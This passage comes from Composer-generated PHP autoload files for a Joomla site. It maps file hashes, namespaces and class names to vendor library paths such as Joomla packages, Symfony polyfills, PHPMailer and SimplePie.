'd55633c05ddb996e0005f35debaa7b5b' => $vendorDir . '/joomla/string/src/phputf8/strspn.php', '944e69d23b93558fc0714353cf0c8beb' => $vendorDir . '/joomla/string/src/phputf8/trim.php', '31264bab20f14a8fc7a9d4265d91ee98' => $vendorDir . '/joomla/string/src/phputf8/ucfirst.php', '05d739a990f75f0c44ebe1f032b33148' => $vendorDir . '/joomla/string/src/phputf8/ucwords.php', '4292e2fa66516089e6006723267587b4' => $vendorDir . '/joomla/string/src/phputf8/utils/ascii.php', '87465e33b7551b401bf051928f220e9a' => $vendorDir . '/joomla/string/src/phputf8/utils/validation.php', '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php', 'e40631d46120a9c38ea139981f8dab26' => $vendorDir . '/ircmaxell/password-compat/lib/password.php', '5255c38a0faeba867671b61dfda6d864' => $vendorDir . '/paragonie/random_compat/lib/random.php', 'edc6464955a37aa4d5fbf39d40fb6ee7' => $vendorDir . '/symfony/polyfill-php55/bootstrap.php', 'bd9634f2d41831496de0d3dfe4c94881' => $vendorDir . '/symfony/polyfill-php56/bootstrap.php', 'e277be14c90068cf94faed2c43dbe6d8' => $vendorDir . '/symfony/polyfill-php71/bootstrap.php', '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php', '3109cb1a231dcd04bee1f9f620d46975' => $vendorDir . '/paragonie/sodium_compat/autoload.php', ); PKÜ�\�{�%{%{#vendor/composer/autoload_static.phpnu�[���<?php // autoload_static.php @generated by Composer namespace Composer\Autoload; class ComposerStaticInitc14bde14f8c86840049f5c1809c453dd { public static $files = array ( '2fb9d6f23c8e8faefc193a4cde0cab4f' => __DIR__ . '/..' . '/joomla/string/src/phputf8/utf8.php', 'e6851e0ae7328fe5412fcec73928f3d9' => __DIR__ . '/..' . '/joomla/string/src/phputf8/ord.php', 'd9ad1b7c85c100a18c404a13824b846e' => __DIR__ . '/..' . '/joomla/string/src/phputf8/str_ireplace.php', '62bad9b6730d2f83493d2337bf61519d' => __DIR__ . '/..' . '/joomla/string/src/phputf8/str_pad.php', 'c4d521b8d54308532dce032713d4eec0' => __DIR__ . '/..' . '/joomla/string/src/phputf8/str_split.php', 'fa973e71cace925de2afdc692b861b1d' => __DIR__ . '/..' . '/joomla/string/src/phputf8/strcasecmp.php', '0c98c2f1295d9f4d093cc77d5834bb04' => __DIR__ . '/..' . '/joomla/string/src/phputf8/strcspn.php', 'a52639d843b4094945115c178a91ca86' => __DIR__ . '/..' . '/joomla/string/src/phputf8/stristr.php', '73ee7d0297e683c4c2e7798ef040fb2f' => __DIR__ . '/..' . '/joomla/string/src/phputf8/strrev.php', 'd55633c05ddb996e0005f35debaa7b5b' => __DIR__ . '/..' . '/joomla/string/src/phputf8/strspn.php', '944e69d23b93558fc0714353cf0c8beb' => __DIR__ . '/..' . '/joomla/string/src/phputf8/trim.php', '31264bab20f14a8fc7a9d4265d91ee98' => __DIR__ . '/..' . '/joomla/string/src/phputf8/ucfirst.php', '05d739a990f75f0c44ebe1f032b33148' => __DIR__ . '/..' . '/joomla/string/src/phputf8/ucwords.php', '4292e2fa66516089e6006723267587b4' => __DIR__ . '/..' . '/joomla/string/src/phputf8/utils/ascii.php', '87465e33b7551b401bf051928f220e9a' => __DIR__ . '/..' . '/joomla/string/src/phputf8/utils/validation.php', '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', 'e40631d46120a9c38ea139981f8dab26' => __DIR__ . '/..' . '/ircmaxell/password-compat/lib/password.php', '5255c38a0faeba867671b61dfda6d864' => __DIR__ . '/..' . '/paragonie/random_compat/lib/random.php', 'edc6464955a37aa4d5fbf39d40fb6ee7' => __DIR__ . '/..' . '/symfony/polyfill-php55/bootstrap.php', 'bd9634f2d41831496de0d3dfe4c94881' => __DIR__ . '/..' . '/symfony/polyfill-php56/bootstrap.php', 'e277be14c90068cf94faed2c43dbe6d8' => __DIR__ . '/..' . '/symfony/polyfill-php71/bootstrap.php', '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php', '3109cb1a231dcd04bee1f9f620d46975' => __DIR__ . '/..' . '/paragonie/sodium_compat/autoload.php', ); public static $prefixLengthsPsr4 = array ( 'T' => array ( 'TYPO3\\PharStreamWrapper\\' => 24, ), 'S' => array ( 'Symfony\\Polyfill\\Util\\' => 22, 'Symfony\\Polyfill\\Php73\\' => 23, 'Symfony\\Polyfill\\Php71\\' => 23, 'Symfony\\Polyfill\\Php56\\' => 23, 'Symfony\\Polyfill\\Php55\\' => 23, 'Symfony\\Polyfill\\Ctype\\' => 23, 'Symfony\\Component\\Yaml\\' => 23, ), 'R' => array ( 'ReCaptcha\\' => 10, ), 'P' => array ( 'Psr\\Log\\' => 8, 'Psr\\Container\\' => 14, ), 'J' => array ( 'Joomla\\Utilities\\' => 17, 'Joomla\\Uri\\' => 11, 'Joomla\\String\\' => 14, 'Joomla\\Registry\\' => 16, 'Joomla\\Ldap\\' => 12, 'Joomla\\Input\\' => 13, 'Joomla\\Image\\' => 13, 'Joomla\\Filter\\' => 14, 'Joomla\\Filesystem\\' => 18, 'Joomla\\Event\\' => 13, 'Joomla\\Data\\Tests\\' => 18, 'Joomla\\Data\\' => 12, 'Joomla\\DI\\' => 10, 'Joomla\\Archive\\' => 15, 'Joomla\\Application\\' => 19, ), 'B' => array ( 'Brumann\\Polyfill\\' => 17, ), ); public static $prefixDirsPsr4 = array ( 'TYPO3\\PharStreamWrapper\\' => array ( 0 => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src', ), 'Symfony\\Polyfill\\Util\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-util', ), 'Symfony\\Polyfill\\Php73\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php73', ), 'Symfony\\Polyfill\\Php71\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php71', ), 'Symfony\\Polyfill\\Php56\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php56', ), 'Symfony\\Polyfill\\Php55\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php55', ), 'Symfony\\Polyfill\\Ctype\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-ctype', ), 'Symfony\\Component\\Yaml\\' => array ( 0 => __DIR__ . '/..' . '/symfony/yaml', ), 'ReCaptcha\\' => array ( 0 => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha', ), 'Psr\\Log\\' => array ( 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', ), 'Psr\\Container\\' => array ( 0 => __DIR__ . '/..' . '/psr/container/src', ), 'Joomla\\Utilities\\' => array ( 0 => __DIR__ . '/..' . '/joomla/utilities/src', ), 'Joomla\\Uri\\' => array ( 0 => __DIR__ . '/..' . '/joomla/uri/src', ), 'Joomla\\String\\' => array ( 0 => __DIR__ . '/..' . '/joomla/string/src', ), 'Joomla\\Registry\\' => array ( 0 => __DIR__ . '/..' . '/joomla/registry/src', ), 'Joomla\\Ldap\\' => array ( 0 => __DIR__ . '/..' . '/joomla/ldap/src', ), 'Joomla\\Input\\' => array ( 0 => __DIR__ . '/..' . '/joomla/input/src', ), 'Joomla\\Image\\' => array ( 0 => __DIR__ . '/..' . '/joomla/image/src', ), 'Joomla\\Filter\\' => array ( 0 => __DIR__ . '/..' . '/joomla/filter/src', ), 'Joomla\\Filesystem\\' => array ( 0 => __DIR__ . '/..' . '/joomla/filesystem/src', ), 'Joomla\\Event\\' => array ( 0 => __DIR__ . '/..' . '/joomla/event/src', ), 'Joomla\\Data\\Tests\\' => array ( 0 => __DIR__ . '/..' . '/joomla/data/Tests', ), 'Joomla\\Data\\' => array ( 0 => __DIR__ . '/..' . '/joomla/data/src', ), 'Joomla\\DI\\' => array ( 0 => __DIR__ . '/..' . '/joomla/di/src', ), 'Joomla\\Archive\\' => array ( 0 => __DIR__ . '/..' . '/joomla/archive/src', ), 'Joomla\\Application\\' => array ( 0 => __DIR__ . '/..' . '/joomla/application/src', ), 'Brumann\\Polyfill\\' => array ( 0 => __DIR__ . '/..' . '/brumann/polyfill-unserialize/src', ), ); public static $prefixesPsr0 = array ( 'S' => array ( 'SimplePie' => array ( 0 => __DIR__ . '/..' . '/simplepie/simplepie/library', ), ), 'J' => array ( 'Joomla\\Session' => array ( 0 => __DIR__ . '/..' . '/joomla/session', ), ), ); public static $classMap = array ( 'Brumann\\Polyfill\\DisallowedClassesSubstitutor' => __DIR__ . '/..' . '/brumann/polyfill-unserialize/src/DisallowedClassesSubstitutor.php', 'Brumann\\Polyfill\\Unserialize' => __DIR__ . '/..' . '/brumann/polyfill-unserialize/src/Unserialize.php', 'CallbackFilterIterator' => __DIR__ . '/..' . '/joomla/compat/src/CallbackFilterIterator.php', 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'EasyPeasyICS' => __DIR__ . '/..' . '/phpmailer/phpmailer/extras/EasyPeasyICS.php', 'Joomla\\Application\\AbstractApplication' => __DIR__ . '/..' . '/joomla/application/src/AbstractApplication.php', 'Joomla\\Application\\AbstractCliApplication' => __DIR__ . '/..' . '/joomla/application/src/AbstractCliApplication.php', 'Joomla\\Application\\AbstractDaemonApplication' => __DIR__ . '/..' . '/joomla/application/src/AbstractDaemonApplication.php', 'Joomla\\Application\\AbstractWebApplication' => __DIR__ . '/..' . '/joomla/application/src/AbstractWebApplication.php', 'Joomla\\Application\\Cli\\CliInput' => __DIR__ . '/..' . '/joomla/application/src/Cli/CliInput.php', 'Joomla\\Application\\Cli\\CliOutput' => __DIR__ . '/..' . '/joomla/application/src/Cli/CliOutput.php', 'Joomla\\Application\\Cli\\ColorProcessor' => __DIR__ . '/..' . '/joomla/application/src/Cli/ColorProcessor.php', 'Joomla\\Application\\Cli\\ColorStyle' => __DIR__ . '/..' . '/joomla/application/src/Cli/ColorStyle.php', 'Joomla\\Application\\Cli\\Output\\Processor\\ColorProcessor' => __DIR__ . '/..' . '/joomla/application/src/Cli/Output/Processor/ColorProcessor.php', 'Joomla\\Application\\Cli\\Output\\Processor\\ProcessorInterface' => __DIR__ . '/..' . '/joomla/application/src/Cli/Output/Processor/ProcessorInterface.php', 'Joomla\\Application\\Cli\\Output\\Stdout' => __DIR__ . '/..' . '/joomla/application/src/Cli/Output/Stdout.php', 'Joomla\\Application\\Cli\\Output\\Xml' => __DIR__ . '/..' . '/joomla/application/src/Cli/Output/Xml.php', 'Joomla\\Application\\Web\\WebClient' => __DIR__ . '/..' . '/joomla/application/src/Web/WebClient.php', 'Joomla\\Archive\\Archive' => __DIR__ . '/..' . '/joomla/archive/src/Archive.php', 'Joomla\\Archive\\Bzip2' => __DIR__ . '/..' . '/joomla/archive/src/Bzip2.php', 'Joomla\\Archive\\Exception\\UnknownArchiveException' => __DIR__ . '/..' . '/joomla/archive/src/Exception/UnknownArchiveException.php', 'Joomla\\Archive\\Exception\\UnsupportedArchiveException' => __DIR__ . '/..' . '/joomla/archive/src/Exception/UnsupportedArchiveException.php', 'Joomla\\Archive\\ExtractableInterface' => __DIR__ . '/..' . '/joomla/archive/src/ExtractableInterface.php', 'Joomla\\Archive\\Gzip' => __DIR__ . '/..' . '/joomla/archive/src/Gzip.php', 'Joomla\\Archive\\Tar' => __DIR__ . '/..' . '/joomla/archive/src/Tar.php', 'Joomla\\Archive\\Zip' => __DIR__ . '/..' . '/joomla/archive/src/Zip.php', 'Joomla\\DI\\Container' => __DIR__ . '/..' . '/joomla/di/src/Container.php', 'Joomla\\DI\\ContainerAwareInterface' => __DIR__ . '/..' . '/joomla/di/src/ContainerAwareInterface.php', 'Joomla\\DI\\ContainerAwareTrait' => __DIR__ . '/..' . '/joomla/di/src/ContainerAwareTrait.php', 'Joomla\\DI\\Exception\\DependencyResolutionException' => __DIR__ . '/..' . '/joomla/di/src/Exception/DependencyResolutionException.php', 'Joomla\\DI\\Exception\\KeyNotFoundException' => __DIR__ . '/..' . '/joomla/di/src/Exception/KeyNotFoundException.php', 'Joomla\\DI\\Exception\\ProtectedKeyException' => __DIR__ . '/..' . '/joomla/di/src/Exception/ProtectedKeyException.php', 'Joomla\\DI\\ServiceProviderInterface' => __DIR__ . '/..' . '/joomla/di/src/ServiceProviderInterface.php', 'Joomla\\Data\\DataObject' => __DIR__ . '/..' . '/joomla/data/src/DataObject.php', 'Joomla\\Data\\DataSet' => __DIR__ . '/..' . '/joomla/data/src/DataSet.php', 'Joomla\\Data\\DumpableInterface' => __DIR__ . '/..' . '/joomla/data/src/DumpableInterface.php', 'Joomla\\Event\\AbstractEvent' => __DIR__ . '/..' . '/joomla/event/src/AbstractEvent.php', 'Joomla\\Event\\DelegatingDispatcher' => __DIR__ . '/..' . '/joomla/event/src/DelegatingDispatcher.php', 'Joomla\\Event\\Dispatcher' => __DIR__ . '/..' . '/joomla/event/src/Dispatcher.php', 'Joomla\\Event\\DispatcherAwareInterface' => __DIR__ . '/..' . '/joomla/event/src/DispatcherAwareInterface.php', 'Joomla\\Event\\DispatcherAwareTrait' => __DIR__ . '/..' . '/joomla/event/src/DispatcherAwareTrait.php', 'Joomla\\Event\\DispatcherInterface' => __DIR__ . '/..' . '/joomla/event/src/DispatcherInterface.php', 'Joomla\\Event\\Event' => __DIR__ . '/..' . '/joomla/event/src/Event.php', 'Joomla\\Event\\EventImmutable' => __DIR__ . '/..' . '/joomla/event/src/EventImmutable.php', 'Joomla\\Event\\EventInterface' => __DIR__ . '/..' . '/joomla/event/src/EventInterface.php', 'Joomla\\Event\\ListenersPriorityQueue' => __DIR__ . '/..' . '/joomla/event/src/ListenersPriorityQueue.php', 'Joomla\\Event\\Priority' => __DIR__ . '/..' . '/joomla/event/src/Priority.php', 'Joomla\\Filesystem\\Buffer' => __DIR__ . '/..' . '/joomla/filesystem/src/Buffer.php', 'Joomla\\Filesystem\\Clients\\FtpClient' => __DIR__ . '/..' . '/joomla/filesystem/src/Clients/FtpClient.php', 'Joomla\\Filesystem\\Exception\\FilesystemException' => __DIR__ . '/..' . '/joomla/filesystem/src/Exception/FilesystemException.php', 'Joomla\\Filesystem\\File' => __DIR__ . '/..' . '/joomla/filesystem/src/File.php', 'Joomla\\Filesystem\\Folder' => __DIR__ . '/..' . '/joomla/filesystem/src/Folder.php', 'Joomla\\Filesystem\\Helper' => __DIR__ . '/..' . '/joomla/filesystem/src/Helper.php', 'Joomla\\Filesystem\\Patcher' => __DIR__ . '/..' . '/joomla/filesystem/src/Patcher.php', 'Joomla\\Filesystem\\Path' => __DIR__ . '/..' . '/joomla/filesystem/src/Path.php', 'Joomla\\Filesystem\\Stream' => __DIR__ . '/..' . '/joomla/filesystem/src/Stream.php', 'Joomla\\Filesystem\\Stream\\String' => __DIR__ . '/..' . '/joomla/filesystem/src/Stream/String.php', 'Joomla\\Filesystem\\Stream\\StringWrapper' => __DIR__ . '/..' . '/joomla/filesystem/src/Stream/StringWrapper.php', 'Joomla\\Filesystem\\Support\\StringController' => __DIR__ . '/..' . '/joomla/filesystem/src/Support/StringController.php', 'Joomla\\Filter\\InputFilter' => __DIR__ . '/..' . '/joomla/filter/src/InputFilter.php', 'Joomla\\Filter\\OutputFilter' => __DIR__ . '/..' . '/joomla/filter/src/OutputFilter.php', 'Joomla\\Image\\Filter\\Backgroundfill' => __DIR__ . '/..' . '/joomla/image/src/Filter/Backgroundfill.php', 'Joomla\\Image\\Filter\\Brightness' => __DIR__ . '/..' . '/joomla/image/src/Filter/Brightness.php', 'Joomla\\Image\\Filter\\Contrast' => __DIR__ . '/..' . '/joomla/image/src/Filter/Contrast.php', 'Joomla\\Image\\Filter\\Edgedetect' => __DIR__ . '/..' . '/joomla/image/src/Filter/Edgedetect.php', 'Joomla\\Image\\Filter\\Emboss' => __DIR__ . '/..' . '/joomla/image/src/Filter/Emboss.php', 'Joomla\\Image\\Filter\\Grayscale' => __DIR__ . '/..' . '/joomla/image/src/Filter/Grayscale.php', 'Joomla\\Image\\Filter\\Negate' => __DIR__ . '/..' . '/joomla/image/src/Filter/Negate.php', 'Joomla\\Image\\Filter\\Sketchy' => __DIR__ . '/..' . '/joomla/image/src/Filter/Sketchy.php', 'Joomla\\Image\\Filter\\Smooth' => __DIR__ . '/..' . '/joomla/image/src/Filter/Smooth.php', 'Joomla\\Image\\Image' => __DIR__ . '/..' . '/joomla/image/src/Image.php', 'Joomla\\Image\\ImageFilter' => __DIR__ . '/..' . '/joomla/image/src/ImageFilter.php', 'Joomla\\Input\\Cli' => __DIR__ . '/..' . '/joomla/input/src/Cli.php', 'Joomla\\Input\\Cookie' => __DIR__ . '/..' . '/joomla/input/src/Cookie.php', 'Joomla\\Input\\Files' => __DIR__ . '/..' . '/joomla/input/src/Files.php', 'Joomla\\Input\\Input' => __DIR__ . '/..' . '/joomla/input/src/Input.php', 'Joomla\\Input\\Json' => __DIR__ . '/..' . '/joomla/input/src/Json.php', 'Joomla\\Ldap\\LdapClient' => __DIR__ . '/..' . '/joomla/ldap/src/LdapClient.php', 'Joomla\\Registry\\AbstractRegistryFormat' => __DIR__ . '/..' . '/joomla/registry/src/AbstractRegistryFormat.php', 'Joomla\\Registry\\Factory' => __DIR__ . '/..' . '/joomla/registry/src/Factory.php', 'Joomla\\Registry\\FormatInterface' => __DIR__ . '/..' . '/joomla/registry/src/FormatInterface.php', 'Joomla\\Registry\\Format\\Ini' => __DIR__ . '/..' . '/joomla/registry/src/Format/Ini.php', 'Joomla\\Registry\\Format\\Json' => __DIR__ . '/..' . '/joomla/registry/src/Format/Json.php', 'Joomla\\Registry\\Format\\Php' => __DIR__ . '/..' . '/joomla/registry/src/Format/Php.php', 'Joomla\\Registry\\Format\\Xml' => __DIR__ . '/..' . '/joomla/registry/src/Format/Xml.php', 'Joomla\\Registry\\Format\\Yaml' => __DIR__ . '/..' . '/joomla/registry/src/Format/Yaml.php', 'Joomla\\Registry\\Registry' => __DIR__ . '/..' . '/joomla/registry/src/Registry.php', 'Joomla\\Session\\Session' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Session.php', 'Joomla\\Session\\Storage' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage.php', 'Joomla\\Session\\Storage\\Apc' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Apc.php', 'Joomla\\Session\\Storage\\Apcu' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Apcu.php', 'Joomla\\Session\\Storage\\Database' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Database.php', 'Joomla\\Session\\Storage\\Memcache' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Memcache.php', 'Joomla\\Session\\Storage\\Memcached' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Memcached.php', 'Joomla\\Session\\Storage\\None' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/None.php', 'Joomla\\Session\\Storage\\Wincache' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Wincache.php', 'Joomla\\Session\\Storage\\Xcache' => __DIR__ . '/..' . '/joomla/session/Joomla/Session/Storage/Xcache.php', 'Joomla\\String\\Inflector' => __DIR__ . '/..' . '/joomla/string/src/Inflector.php', 'Joomla\\String\\Normalise' => __DIR__ . '/..' . '/joomla/string/src/Normalise.php', 'Joomla\\String\\String' => __DIR__ . '/..' . '/joomla/string/src/String.php', 'Joomla\\String\\StringHelper' => __DIR__ . '/..' . '/joomla/string/src/StringHelper.php', 'Joomla\\Uri\\AbstractUri' => __DIR__ . '/..' . '/joomla/uri/src/AbstractUri.php', 'Joomla\\Uri\\Uri' => __DIR__ . '/..' . '/joomla/uri/src/Uri.php', 'Joomla\\Uri\\UriHelper' => __DIR__ . '/..' . '/joomla/uri/src/UriHelper.php', 'Joomla\\Uri\\UriImmutable' => __DIR__ . '/..' . '/joomla/uri/src/UriImmutable.php', 'Joomla\\Uri\\UriInterface' => __DIR__ . '/..' . '/joomla/uri/src/UriInterface.php', 'Joomla\\Utilities\\ArrayHelper' => __DIR__ . '/..' . '/joomla/utilities/src/ArrayHelper.php', 'Joomla\\Utilities\\IpHelper' => __DIR__ . '/..' . '/joomla/utilities/src/IpHelper.php', 'JsonException' => __DIR__ . '/..' . '/symfony/polyfill-php73/Resources/stubs/JsonException.php', 'JsonSerializable' => __DIR__ . '/..' . '/joomla/compat/src/JsonSerializable.php', 'PHPMailer' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.phpmailer.php', 'PHPMailerOAuth' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.phpmaileroauth.php', 'PHPMailerOAuthGoogle' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.phpmaileroauthgoogle.php', 'POP3' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.pop3.php', 'Psr\\Container\\ContainerExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerExceptionInterface.php', 'Psr\\Container\\ContainerInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerInterface.php', 'Psr\\Container\\NotFoundExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/NotFoundExceptionInterface.php', 'Psr\\Log\\AbstractLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/AbstractLogger.php', 'Psr\\Log\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/log/Psr/Log/InvalidArgumentException.php', 'Psr\\Log\\LogLevel' => __DIR__ . '/..' . '/psr/log/Psr/Log/LogLevel.php', 'Psr\\Log\\LoggerAwareInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareInterface.php', 'Psr\\Log\\LoggerAwareTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareTrait.php', 'Psr\\Log\\LoggerInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerInterface.php', 'Psr\\Log\\LoggerTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerTrait.php', 'Psr\\Log\\NullLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/NullLogger.php', 'ReCaptcha\\ReCaptcha' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/ReCaptcha.php', 'ReCaptcha\\RequestMethod' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod.php', 'ReCaptcha\\RequestMethod\\Curl' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.php', 'ReCaptcha\\RequestMethod\\CurlPost' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.php', 'ReCaptcha\\RequestMethod\\Post' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod/Post.php', 'ReCaptcha\\RequestMethod\\Socket' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.php', 'ReCaptcha\\RequestMethod\\SocketPost' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.php', 'ReCaptcha\\RequestParameters' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/RequestParameters.php', 'ReCaptcha\\Response' => __DIR__ . '/..' . '/google/recaptcha/src/ReCaptcha/Response.php', 'SMTP' => __DIR__ . '/..' . '/phpmailer/phpmailer/class.smtp.php', 'SimplePie' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie.php', 'SimplePie_Author' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Author.php', 'SimplePie_Cache' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache.php', 'SimplePie_Cache_Base' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache/Base.php', 'SimplePie_Cache_DB' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache/DB.php', 'SimplePie_Cache_File' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache/File.php', 'SimplePie_Cache_Memcache' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache/Memcache.php', 'SimplePie_Cache_MySQL' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Cache/MySQL.php', 'SimplePie_Caption' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Caption.php', 'SimplePie_Category' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Category.php', 'SimplePie_Content_Type_Sniffer' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Content/Type/Sniffer.php', 'SimplePie_Copyright' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Copyright.php', 'SimplePie_Core' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Core.php', 'SimplePie_Credit' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Credit.php', 'SimplePie_Decode_HTML_Entities' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Decode/HTML/Entities.php', 'SimplePie_Enclosure' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Enclosure.php', 'SimplePie_Exception' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Exception.php', 'SimplePie_File' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/File.php', 'SimplePie_HTTP_Parser' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/HTTP/Parser.php', 'SimplePie_IRI' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/IRI.php', 'SimplePie_Item' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Item.php', 'SimplePie_Locator' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Locator.php', 'SimplePie_Misc' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Misc.php', 'SimplePie_Net_IPv6' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Net/IPv6.php', 'SimplePie_Parse_Date' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Parse/Date.php', 'SimplePie_Parser' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Parser.php', 'SimplePie_Rating' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Rating.php', 'SimplePie_Registry' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Registry.php', 'SimplePie_Restriction' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Restriction.php', 'SimplePie_Sanitize' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Sanitize.php', 'SimplePie_Source' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/Source.php', 'SimplePie_XML_Declaration_Parser' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/XML/Declaration/Parser.php', 'SimplePie_gzdecode' => __DIR__ . '/..' . '/simplepie/simplepie/library/SimplePie/gzdecode.php', 'Symfony\\Component\\Yaml\\Dumper' => __DIR__ . '/..' . '/symfony/yaml/Dumper.php', 'Symfony\\Component\\Yaml\\Escaper' => __DIR__ . '/..' . '/symfony/yaml/Escaper.php', 'Symfony\\Component\\Yaml\\Exception\\DumpException' => __DIR__ . '/..' . '/symfony/yaml/Exception/DumpException.php', 'Symfony\\Component\\Yaml\\Exception\\ExceptionInterface' => __DIR__ . '/..' . '/symfony/yaml/Exception/ExceptionInterface.php', 'Symfony\\Component\\Yaml\\Exception\\ParseException' => __DIR__ . '/..' . '/symfony/yaml/Exception/ParseException.php', 'Symfony\\Component\\Yaml\\Exception\\RuntimeException' => __DIR__ . '/..' . '/symfony/yaml/Exception/RuntimeException.php', 'Symfony\\Component\\Yaml\\Inline' => __DIR__ . '/..' . '/symfony/yaml/Inline.php', 'Symfony\\Component\\Yaml\\Parser' => __DIR__ . '/..' . '/symfony/yaml/Parser.php', 'Symfony\\Component\\Yaml\\Unescaper' => __DIR__ . '/..' . '/symfony/yaml/Unescaper.php', 'Symfony\\Component\\Yaml\\Yaml' => __DIR__ . '/..' . '/symfony/yaml/Yaml.php', 'Symfony\\Polyfill\\Ctype\\Ctype' => __DIR__ . '/..' . '/symfony/polyfill-ctype/Ctype.php', 'Symfony\\Polyfill\\Php55\\Php55' => __DIR__ . '/..' . '/symfony/polyfill-php55/Php55.php', 'Symfony\\Polyfill\\Php55\\Php55ArrayColumn' => __DIR__ . '/..' . '/symfony/polyfill-php55/Php55ArrayColumn.php', 'Symfony\\Polyfill\\Php56\\Php56' => __DIR__ . '/..' . '/symfony/polyfill-php56/Php56.php', 'Symfony\\Polyfill\\Php71\\Php71' => __DIR__ . '/..' . '/symfony/polyfill-php71/Php71.php', 'Symfony\\Polyfill\\Php73\\Php73' => __DIR__ . '/..' . '/symfony/polyfill-php73/Php73.php', 'Symfony\\Polyfill\\Util\\Binary' => __DIR__ . '/..' . '/symfony/polyfill-util/Binary.php', 'Symfony\\Polyfill\\Util\\BinaryNoFuncOverload' => __DIR__ . '/..' . '/symfony/polyfill-util/BinaryNoFuncOverload.php', 'Symfony\\Polyfill\\Util\\BinaryOnFuncOverload' => __DIR__ . '/..' . '/symfony/polyfill-util/BinaryOnFuncOverload.php', 'TYPO3\\PharStreamWrapper\\Assertable' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Assertable.php', 'TYPO3\\PharStreamWrapper\\Behavior' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Behavior.php', 'TYPO3\\PharStreamWrapper\\Collectable' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Collectable.php', 'TYPO3\\PharStreamWrapper\\Exception' => __DIR__ . '/..' . '/typo3/phar-stream-wrapper/src/Exception.php', 'TYPO3\\PharStreamWrapper\\Helper' => 